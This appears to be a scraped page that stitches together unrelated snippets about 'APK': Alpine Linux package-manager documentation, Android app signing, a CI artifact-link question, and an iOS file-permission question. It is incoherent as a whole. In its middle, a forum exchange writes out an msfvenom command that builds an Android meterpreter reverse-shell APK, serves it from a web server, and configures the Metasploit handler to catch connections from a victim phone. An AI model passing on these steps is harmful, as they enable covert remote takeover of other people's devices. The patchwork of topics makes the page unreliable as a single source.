APK var: What you need to know about Alpine Linux package management
I am curious to know whether making use of the --no-cache flag eliminates the need to manually clear the package cache using rm /var/cache/apk/*. I would also like to know which style is considered best practice.
apk is the tool used to install, upgrade, or delete software on a running system.lbu is the tool used to capture the data necessary to restore a system to a previously configured state.
Software packages for Alpine Linux are digitally signed tar.gz archives containing programs, configuration files, and dependency metadata. They have the extension .apk, and are often called "a-packs".
The packages are stored in one or more repositories. A repository is simply a directory with a collection of *.apk files. The directory must include a special index file, named APKINDEX.tar.gz to be considered a repository.
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The apk utility can install packages from multiple repositories. The list of repositories to check is stored in /etc/apk/repositories, one repository per line. If you booted from a USB stick (/media/sda1) or CD-ROM (/media/cdrom), your repository file probably looks something like this:
In addition to local repositories, the apk utility uses busybox wget to fetch packages using http:, https: or ftp: protocols. The following is a valid repository file:
Remote repositories change as packages are added and upgraded. To get the latest list of available packages, use the update command. The command downloads the APKINDEX.tar.gz from each repository and stores it in the local cache, typically /var/cache/apk/, /var/lib/apk/ or /etc/apk/cache/.
Adding the --update-cache, or for short -U switch to another apk command, as in apk --update-cache upgrade or apk -U add ..., the command has the same effect as first running apk update before the other apk command.
If you only have the main repository enabled in your configuration, apk will not include packages from the other repositories. To install a package from the edge/testing repository without changing your repository configuration file, use the command below. This will tell apk to use that particular repository.
To get the latest security upgrades and bugfixes available for the installed packages of a running system, first update the list of available packages and then upgrade the installed packages:
However, even then, the kernel, with its modules and firmware files, can still not be updated directly through regular packages updates. Instead, there is the update-kernel script that can generate initfs images and install them together with upgraded kernels.
The apk tool does not have a subcommand to list manually-installed packages that do not have reverse dependencies. To get this information on a traditional system that is not using lbu, try this script. Note that this approach will also list core packages like alpine-base that should not be removed.
NOTE: apk is coded to ignore tmpfs caches, and this is correct behaviour in most instances. Using tmpfs as a package cache can consume large amounts of system memory if you install a lot of packages, possibly resulting in a crashed system. You can limit this by restricting the size of your cache to a small number (128M in the example below).
Now whenever you run an apk command that pulls a new package from a remote repository, the package is stored on your local media. On startup, Alpine Linux will check the local cache for new packages, and will install them if available.
In certain cases, you may want to upgrade a system, but keep a specific package at a back level. It is possible to add "sticky" or versioned dependencies. For instance, to hold the asterisk package to the 1.6.2 level or lower:
If you desire deterministic, repeatable package installation (such as with containerized environments) via package pinning, it is important to understand your package repo's version retention rules. For example, most Alpine package repos contain an "edge" branch, which may drop package versions that are not deemed fit to make it into a stable branch. This means that pinning to a version on the edge branch may stop working after the package version is revoked from the repo. Always pin to a package version that is intended for your current Alpine Linux version.
This may happen if you are running Alpine Linux stable version with a certain edge/main, edge/community or testing package(s) also installed. One resolution is to consider upgrading apk-tools. If edge is already tagged in your repositories, then try:
After we successfully created the .apk file, we need to sign a certificate because Android mobile devices are not allowed to install apps without the appropriately signed certificate. Android devices only install signed .apk files.
When we have an Android build complete successfully, I would like to be able to send the actual link of the .apk download to my QA person via Slack. I tried using $BITRISE_APK_PATH but all it gave me was /bitrise/deploy/my-android-app-debug.apk. Is there a variable that holds the entire link to the .apk, e.g. -prod-build-storage.s3.amazonaws.com/builds/111/artifacts/222/my-android-app-debug.apk?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=XXX&X-Amz-Date=2017&X-Amz-Expires=0&X-Amz-SignedHeaders=host&X-Amz-Signature=abcd.
Also you will probably have to sign the apk to avoid the "parsing" error. You should be able to open a kali terminal and use the command "d2j-apk-sign nameof.apk". Alternatively you can use an app called "zipsigner"(among others) from google play and do it after you dl it to your phone.
Hi guys who could help me to solve a problem related to the download on my android device of the apk file created with msfvenom ??? I'll explain better, in a few words I created the apk file with msfvenom in the following way: msfvenom -p android / meterpreter / reverse_tcp LHOST = myIP LPORT = 4444 R> /var/www/html/linux.apk after I file it created I start the apache2 server with the command sudo service apache2 start. after that I start the msfconsole and start setting the exploit / multi / handler. set LHOST and LPORT then exploits and everything is listening, but when I go to my android device and try to enter the IP address in the URL search bar nothing happens ... I also tried to enter IP followed by the port for example : myIP: 4444 but nothing, then also in this way: myIP: 4444 / linux.apk and not even so .... I tried in different ways but they all give this result! please help! ????????????
after setting "use exploit/multi/handler" . you have to use command "set payload android/meterpreter/reverse_tcp" then set lhost (local ip (if your android and hacking machine is in same network) or public ip (if you are using it over another it )).. :) if you get stuck. reply with ifinity > and your dought.
Upon further investigation, I found that safari uses the Files and Folders privacy permission (Located in Settings > Privacy > Files and folders on an iPhone) to access folders outside the app sandbox (see the attached image for a visual representation of what I'm talking about). I scoured the web as much as I can and I couldn't find any documentation for this exact permission.
I have seen non-apple apps (such as VLC) use this permission, but I cannot figure out how it's granted.I tried enabling the following plist properties, but none of them work (because I later realized these are for macOS only)
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